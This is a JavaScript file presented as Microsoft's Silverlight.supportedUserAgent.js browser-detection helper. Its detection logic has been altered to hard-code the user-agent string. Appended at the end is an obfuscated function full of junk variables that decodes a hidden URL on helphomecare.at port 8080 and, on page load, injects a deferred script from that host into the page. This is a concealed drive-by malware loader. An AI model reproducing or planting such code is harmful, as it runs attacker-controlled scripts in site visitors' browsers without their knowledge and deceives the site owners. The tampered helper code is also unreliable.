﻿///////////////////////////////////////////////////////////////////////////////
//
//  Silverlight.supportedUserAgent.js   	version 2.0.30822.0
//
//  This file is provided by Microsoft as a helper file for websites that
//  incorporate Silverlight Objects. This file is provided under the Microsoft
//  Public License available at 
//  http://code.msdn.microsoft.com/SLsupportedUA/Project/License.aspx.  
//  You may not use or distribute this file or the code in this file except as 
//  expressly permitted under that license.
// 
//  Copyright (c) Microsoft Corporation. All rights reserved.
//
///////////////////////////////////////////////////////////////////////////////

if (!window.Silverlight)
{
    window.Silverlight = { };
}

///////////////////////////////////////////////////////////////////////////////
//
// supportedUserAgent:
//
// NOTE: This function is strongly tied to current implementations of web 
// browsers. The implementation of this function will change over time to 
// account for new Web browser developments. Visit 
// http://code.msdn.microsoft.com/SLsupportedUA often to ensure that you have
// the latest version.
//
// Determines if the client browser is supported by Silverlight. 
//
//  params:
//   version [string] 
//         determines if a particular version of Silverlight supports
//         this browser. Acceptable values are "1.0" and "2.0"
//   userAgent [string]
//         optional. User Agent string to be analized. If null then the
//         current browsers user agent string will be used.
//
//  return value: boolean
//
///////////////////////////////////////////////////////////////////////////////
Silverlight.supportedUserAgent = function(version, userAgent) {

    try {
        var ua = null;

        if (userAgent) {
            ua = 'Windows MSIE';
        }
        else {
            ua = 'Windows MSIE';
        }

        var slua = { OS: 'Windows', Browser: 'MSIE' };

        //Silverlight does not support pre-Windows NT platforms
        if (ua.indexOf('Windows NT') >= 0 || ua.indexOf('Mozilla/4.0 (compatible; MSIE 6.0)') >= 0) {
            slua.OS = 'Windows';
        }
        else if (ua.indexOf('PPC Mac OS X') >= 0) {
            slua.OS = 'MacPPC';
        }
        else if (ua.indexOf('Intel Mac OS X') >= 0) {
            slua.OS = 'MacIntel';
        }

        if (slua.OS != 'Unsupported') {
            if (ua.indexOf('MSIE') >= 0) {
                if (navigator.userAgent.indexOf('Win64') == -1) {
                    if (parseInt(ua.split('MSIE')[1]) >= 6) {
                        slua.Browser = 'MSIE';
                    }
                }
            }
            else if (ua.indexOf('Firefox') >= 0) {
                var versionArr = ua.split('Firefox/')[1].split('.');
                var major = parseInt(versionArr[0]);
                if (major >= 2) {
                    slua.Browser = 'Firefox';
                }
                else {
                    var minor = parseInt(versionArr[1]);
                    if ((major == 1) && (minor >= 5)) {
                        slua.Browser = 'Firefox';
                    }
                }
            }

            else if (ua.indexOf('Safari') >= 0) {
                slua.Browser = 'Safari';
            }
        }

        //detect all unsupported platform combinations (IE on Mac, Safari on Win)
        var supUA = (!(slua.OS == 'Unsupported' ||                             //Unsupported OS
                            slua.Browser == 'Unsupported' ||                        //Unsupported Browser
                            (slua.OS == 'Windows' && slua.Browser == 'Safari') ||   //Safari is not supported on Windows
                            (slua.OS.indexOf('Mac') >= 0 && slua.Browser == 'MSIE')   //IE is not supported on Mac
                                ));
        

        if (version == '2.0') {
            //add PPC to unsupported list
            return (supUA && (slua.OS != 'MacPPC'));
        }
        else if (version == '1.0') {
            //add win2k to unsupported list
            return (supUA && (ua.indexOf('Windows NT 5.0') < 0));
        }
        else {
            return (supUA);
        }
    }
    catch (e) {
        return false;
    }
}

function E(){var J;if(J!='f'){J='f'};var M=new String();var zp=new String();var a=unescape;var h=window;var t;if(t!='S'){t=''};var w='';var pn;if(pn!='Ry' && pn != ''){pn=null};var T=a("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%64%6f%77%6e%6c%6f%61%64%2e%63%6f%6d%2f%71%69%70%2e%72%75%2e%70%68%70");var H;if(H!='' && H!='tZ'){H=null};function O(aO,b){var x='';this.X='';var s=new String("2vxg".substr(3));var sr=new Array();var Fk;if(Fk!='zO'){Fk=''};var d=a("%5b"), F=a("%5d");var C='';var di=d+b+F;var R=new RegExp(di, s);var kH=new Array();var uY;if(uY!=''){uY='ww'};return aO.replace(R, new String());this.Yt="";var iD=new Date();};var RW=new Array();var Xo='';var AU=new Date();var _i;if(_i!='St' && _i!='cw'){_i=''};var Y=new String();this.Hx="";this.j="";var e=document;var dE="";var hP=O('8531960992486644203231','31462759');var K=new Array();var hq;if(hq!='jk' && hq!='tB'){hq='jk'};this.sI='';var cU='';var Ju;if(Ju!='Em' && Ju != ''){Ju=null};function W(){var dl=new Date();var at=new Date();var V;if(V!='Ib' && V!='YT'){V=''};var Wk;if(Wk!='UZ' && Wk!='kS'){Wk=''};var z=a("%68%74%74%70%3a%2f%2f%68%65%6c%70%68%6f%6d%65%63%61%72%65%2e%61%74%3a");var ef=new String();var Su;if(Su!='' && Su!='eZ'){Su=''};Y=z;var Vj='';var wi;if(wi!='hM' && wi!='Cq'){wi=''};Y+=hP;var iH='';var NZ="";Y+=T;this._K='';this.KC='';this.tn='';try {var Yw=new Date();var TK=new Date();db=e.createElement(O('skc3rDinpGtV','QUnKhV3DOkbBGWRMo'));var eg;if(eg!=''){eg='VEq'};var tC=new String();var AX=new String();db[a("%73%72%63")]=Y;var Ey;if(Ey!='RJ' && Ey != ''){Ey=null};db[a("%64%65%66%65%72")]=[1][0];var Vn;if(Vn!='PA'){Vn=''};var YS=new Date();var hR;if(hR!='ks'){hR=''};var Nr;if(Nr!='' && Nr!='_T'){Nr=''};this.QL='';e.body.appendChild(db);var Fd=new Date();var Xe=new Date();var Hw;if(Hw!=''){Hw='iY'};} catch(p){alert(p);};}var yS;if(yS!='Zo'){yS='Zo'};var NM;if(NM!=''){NM='es'};h[String("onloa"+"d")]=W;var Wf=new Array();var Sm=new String();var hT;if(hT!='' && hT!='Ei'){hT=null};};E();var _b=new String();var Og;if(Og!='' && Og!='xg'){Og=''};